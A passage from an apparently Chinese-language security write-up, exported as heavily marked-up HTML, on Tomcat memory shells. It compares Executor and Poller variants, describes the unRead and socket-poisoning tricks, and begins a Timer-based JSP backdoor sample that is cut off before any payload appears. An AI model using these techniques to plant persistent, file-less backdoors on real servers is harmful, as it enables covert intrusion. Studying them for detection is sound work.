style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> attachment</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">unRead</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">readBuffer</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">super</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">processKey</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">sk</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> attachment</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">缺点：Processor组件对socket处理之前我们就已进⾏过⼀次read，后续的处理 逻辑势必⽆法再次获取已读取过的request数据</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">解决方案：NioSocketWrapper⽗类SocketWrapperBase中，有⼀个⽅法名为 unRead，将已读取过的read数据重新放回socket</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">缺点：tomcat8.5.0以后，在tomcat封装的socket⽀持unread的数据回写，8.5.0以下不能使用</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">改进方式：Socket毒化</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://zhuanlan.zhihu.com/p/562616365" target="_blank">https://zhuanlan.zhihu.com/p/562616365</a></span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">poller内存马：</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://github.com/Kyo-w/trojan-eye" target="_blank">https://github.com/Kyo-w/trojan-eye</a></span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">executor和poller内存马对比：</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">Executor鲁棒性比Poller好。原因很简单，Poller是全局唯一的线程(tomcat8、9/springboot)，如果线程处理逻辑的时候出现不可预测的异常，线程就会终止，一旦线程终止，整个tomcat的服务直接崩溃，因为缺少了接收与创建任务的执行线程。这也就是说注入Poller的内存马一定是不能出任何bug的，一旦出了，整个服务直接崩溃。在起初做试验时，经常因为木马报错，导致整个服务不能访问，只能重启服务解决，所以风险很高！反向，Executor是一个任务类，创建后就执行一个线程任务，如果这次业务异常，最多这次的请求无法正常执行罢了</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Calibri;">timer内存马（2014）</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">一个 jsp 后门，这个 jsp 创建了一个 Timer 计时器对象，然后使用 </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="">schedule</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;"> 方法创建了一个 TimerTask 对象，也就是说创建了一个定时任务，每隔 1000 ms，就执行一次 </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="">java.util.TimerTask#run</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;"> 方法里面的逻辑。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">也就是说，在访问了一次这个 jsp 后，会启动一个计时器进行无限循环，一次执行直到服务器重启。即使将这个 jsp 删除，依旧是会继续进行这个任务</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;AttributeTok&#39;;color: #7D9029;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> page </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">=&#34;java</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">io</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">IOException&#34; %&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;AttributeTok&#39;;color: #7D9029;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> page contentType</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;text/html;charset=UTF-8&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> language</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;java&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">  </span>out</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">println</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;timer jsp shell&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">  </span>java</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">util</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">Timer</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> executeSchedule </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> java</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">util</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">Timer</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">  </span>executeSchedule</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">schedule</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> java</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">util</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">TimerTask</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">run</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">      </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span 